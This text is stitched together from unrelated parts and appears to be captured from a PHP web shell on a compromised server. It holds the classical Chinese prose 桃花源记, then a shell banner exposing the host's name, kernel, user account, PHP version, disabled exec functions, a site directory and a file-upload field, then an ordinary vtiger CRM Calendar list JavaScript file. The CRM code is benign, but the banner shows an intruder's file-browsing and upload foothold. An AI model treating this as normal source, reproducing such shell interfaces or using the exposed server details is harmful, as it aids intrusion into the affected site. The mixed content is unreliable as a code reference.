晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/layouts/vlayout/modules/Calendar/resources/ |
Upload File : |
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
Vtiger_List_Js("Calendar_List_Js",{
triggerMassEdit : function(massEditUrl) {
Vtiger_List_Js.triggerMassAction(massEditUrl, function(container){
var massEditForm = container.find('#massEdit');
massEditForm.validationEngine(app.validationEngineOptions);
var listInstance = Vtiger_List_Js.getInstance();
var editInstance = Vtiger_Edit_Js.getInstance();
listInstance.registerRecordAccessCheckEvent(massEditForm);
editInstance.registerBasicEvents(jQuery(container));
listInstance.postMassEdit(container);
});
},
triggerImportAction : function (importUrl) {
var progressIndicatorElement = jQuery.progressIndicator();
AppConnector.request(importUrl).then(
function(data) {
progressIndicatorElement.progressIndicator({'mode' : 'hide'});
if(data) {
app.showModalWindow(data, function(data){
jQuery('#ical_import').validationEngine(app.validationEngineOptions);
});
}
}
);
},
triggerExportAction : function (importUrl) {
var progressIndicatorElement = jQuery.progressIndicator();
AppConnector.request(importUrl).then(
function(data) {
progressIndicatorElement.progressIndicator({'mode' : 'hide'});
if(data) {
app.showModalWindow(data, function(data){
});
}
}
);
}
},{
registerHoldFollowupOnEvent : function(){
var thisInstance = this;
var listViewContentDiv = this.getListViewContentContainer();
listViewContentDiv.on('click','.holdFollowupOn',function(e){
var elem = jQuery(e.currentTarget);
var recordId = elem.closest('tr').data('id');
var url = 'index.php?module=Calendar&view=QuickCreateFollowupAjax&record='+recordId;
var progressIndicatorInstance = jQuery.progressIndicator({});
AppConnector.request(url).then(
function(data){
if(data){
progressIndicatorInstance.hide();
app.showModalWindow(data, function(data){
var createFollowupForm = data.find('form.followupCreateView');
createFollowupForm.validationEngine(app.validationEngineOptions);
app.registerEventForTimeFields(createFollowupForm);
//Form submit
createFollowupForm.submit(function(event){
var createButton = jQuery(this).find('button.btn-success');
createButton.attr('disabled','disabled');
progressIndicatorInstance = jQuery.progressIndicator({});
event.preventDefault();
var result = createFollowupForm.validationEngine('validate');
if(!result){
createButton.removeAttr('disabled');
progressIndicatorInstance.hide();
return false;
}
var moduleName = jQuery(this).find("[name='module']").val();
var recordId = jQuery(this).find("[name='record']").val();
var followupStartDate = jQuery(this).find("[name='followup_date_start']").val();
var followupStartTime = jQuery(this).find("[name='followup_time_start']").val();
var action = jQuery(this).find("[name='action']").val();
var mode = jQuery(this).find("[name='mode']").val();
var defaultCallDuration = jQuery(this).find("[name='defaultCallDuration']").val();
var defaultOtherEventDuration = jQuery(this).find("[name='defaultOtherEventDuration']").val();
var params = {
module : moduleName,
action : action,
mode : mode,
record : recordId,
followup_date_start : followupStartDate,
followup_time_start : followupStartTime,
defaultOtherEventDuration : defaultOtherEventDuration,
defaultCallDuration : defaultCallDuration
}
AppConnector.request(params).then(function(data){
app.hideModalWindow();
progressIndicatorInstance.hide();
if(data['result'] && data['result'].created){
//Update listview and pagination
var orderBy = jQuery('#orderBy').val();
var sortOrder = jQuery("#sortOrder").val();
var urlParams = {
"orderby": orderBy,
"sortorder": sortOrder
}
jQuery('#recordsCount').val('');
jQuery('#totalPageCount').text('');
thisInstance.getListViewRecords(urlParams).then(function(){
thisInstance.updatePagination();
});
}
});
});
});
}
else{
progressIndicatorInstance.hide();
Vtiger_Helper_Js.showPnotify(app.vtranslate('JS_NO_EDIT_PERMISSION'));
}
});
e.stopPropagation();
});
},
registerMarkAsHeldEvent : function(){
var thisInstance = this;
var listViewContentDiv = this.getListViewContentContainer();
listViewContentDiv.on('click','.markAsHeld',function(e){
var elem = jQuery(e.currentTarget);
var recordId = elem.closest('tr').data('id');
var message = app.vtranslate('JS_CONFIRM_MARK_AS_HELD');
Vtiger_Helper_Js.showConfirmationBox({'message' : message}).then(
function(e) {
var params = {
module : "Calendar",
action : "SaveFollowupAjax",
mode : "markAsHeldCompleted",
record : recordId
}
AppConnector.request(params).then(function(data){
if(data['error']){
var param = {text:app.vtranslate('JS_PERMISSION_DENIED')};
Vtiger_Helper_Js.showPnotify(param);
}
else if(data['result'].valid && data['result'].markedascompleted){
//Update listview and pagination
var orderBy = jQuery('#orderBy').val();
var sortOrder = jQuery("#sortOrder").val();
var urlParams = {
"orderby": orderBy,
"sortorder": sortOrder
}
jQuery('#recordsCount').val('');
jQuery('#totalPageCount').text('');
thisInstance.getListViewRecords(urlParams).then(function(){
thisInstance.updatePagination();
});
if(data['result'].activitytype == 'Task')
var param = {text:app.vtranslate('JS_TODO_MARKED_AS_COMPLETED')};
else
var param = {text:app.vtranslate('JS_EVENT_MARKED_AS_HELD')};
Vtiger_Helper_Js.showMessage(param);
}
else{
var param = {text:app.vtranslate('JS_FUTURE_EVENT_CANNOT_BE_MARKED_AS_HELD')};
Vtiger_Helper_Js.showPnotify(param);
}
});
},
function(error, err){
return false;
});
e.stopPropagation();
});
},
registerEvents : function(){
this._super();
this.registerHoldFollowupOnEvent();
this.registerMarkAsHeldEvent();
}
});